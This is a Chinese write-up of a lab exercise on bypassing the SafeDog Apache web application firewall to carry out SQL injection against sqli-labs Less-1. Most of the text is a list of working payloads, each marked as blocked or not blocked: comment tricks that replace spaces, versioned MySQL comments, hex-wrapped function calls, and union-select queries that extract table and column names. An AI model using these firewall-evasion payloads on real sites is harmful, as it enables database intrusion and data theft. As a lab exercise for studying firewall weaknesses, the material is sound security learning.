采用本地搭建的最新版安全狗,仅用于学习交流,请勿用于实际环境
本地安装参考:解决本地安装安全狗
phpstudy: 2021版
网站安全狗: Apache V4.0.30255
靶场: sqli-labs-less1 (字符型注入)
打开安全狗,防护措施拉满,防御sql注入的也拉满
接下来开始我们的绕过
--+ 不拦截 and 不拦截 and1 不拦截 and 1 拦截 and/*aaaa*/1拦截 and/*//*/1 不拦截
安全狗检测and和or是不会被拦截的,但是and空格,or空格会被拦截
?id=2 and1
?id=2 and 1
绕过方法是使用/*//*/
代替空格
order 不拦截 by 不拦截 orderby 不拦截 order /*!10440by*/ 拦截 order%0a%0aby拦截 /*!10000order*/%0a%0a/*!100440by*/拦截 orde/*//*/by 不拦截
安全狗过滤order by
也是order空格by
严格匹配,同样把空格换成/*//*/
就能绕过
union 不拦截 select 不拦截 unionselect 拦截 +union --+1%0aselect 拦截 +union %23%0a+all+select+ 拦截 /*&id=-1'+union+select+1,2,3--+*/ 不拦截 +"/*" union select 1,2,3 "*/"--+ 不拦截 +'/*' union select 1,2,3 %23*/--+ 不拦截 union/*//*/select 拦截 /*!10440union*//*//*/select 拦截 union/*//*//*!10440select*/ 不拦截 /*!10440union*//*!10440select*/ 拦截 /*!10440union*//*//*//*!10440select*/ 不拦截 /*!10450union*//*//*//*!10440select*/ 不拦截 /*!10440union*//*aaaaaaaaa*/%0a/*!10440select*/拦截
database()拦截 hex(database%0a())不拦截 hex(database/**/())不拦截 user()拦截 hex(user%0a()) 不拦截 hex(user/**/()) 不拦截
使用hacker的16进制解码就获取数据名和用户名了
没有拦截?难道狗子觉得获取这个不重要
?id=-1'+'/*' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 %23*/--+
依旧没有拦截
?id=-1'+'/*' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),3 %23*/--+
还是没有拦截, 那就别怪我偷家了